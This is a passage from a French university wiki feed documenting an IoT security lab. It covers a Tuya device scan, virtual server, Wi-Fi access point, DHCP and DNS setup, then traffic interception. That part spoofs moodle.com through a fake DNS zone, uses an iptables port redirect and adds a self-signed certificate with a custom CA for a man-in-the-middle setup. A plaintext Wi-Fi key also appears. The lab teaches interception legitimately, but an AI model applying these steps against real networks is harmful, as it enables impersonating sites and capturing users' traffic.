amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;scene_num&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 1,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 8,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;scene_units&amp;quot;: {&lt;br /&gt;
                        &amp;quot;unit_change_mode&amp;quot;: {&lt;br /&gt;
                            &amp;quot;range&amp;quot;: [&lt;br /&gt;
                                &amp;quot;static&amp;quot;,&lt;br /&gt;
                                &amp;quot;jump&amp;quot;,&lt;br /&gt;
                                &amp;quot;gradient&amp;quot;&lt;br /&gt;
                            ]&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_switch_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_gradient_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;h&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;s&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;v&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        }&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;26&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;countdown_1&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;unit&amp;quot;: &amp;quot;s&amp;quot;,&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 86400,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;28&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;control_data&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;direct\&amp;quot;,\&amp;quot;gradient\&amp;quot;]}, \&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;change_mode&amp;quot;: {&lt;br /&gt;
                        &amp;quot;range&amp;quot;: [&lt;br /&gt;
                            &amp;quot;direct&amp;quot;,&lt;br /&gt;
                            &amp;quot;gradient&amp;quot;&lt;br /&gt;
                        ]&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;h&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;s&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;v&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;30&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;rhythm_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;31&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;sleep_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;32&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;wakeup_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;41&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;remote_switch&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    1 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
    1 local devices discovered                         &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Ampoule Connectée        ] 172.16.10.108      - [On]  - DPS: {'20': True, '21': 'white', '22': 1000, '23': 1000, '25': '000e0d0000000000000000c80000', '26': 0, '41': True}&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving IP addresses to devices.json&lt;br /&gt;
    1 device IP addresses found&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11317</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11317"/>
		<updated>2026-01-24T08:46:03Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Sécurisation WiFi par WPA2-PSK */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi et  sécurisation WiFi par WPA2-PSK (29/09) =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
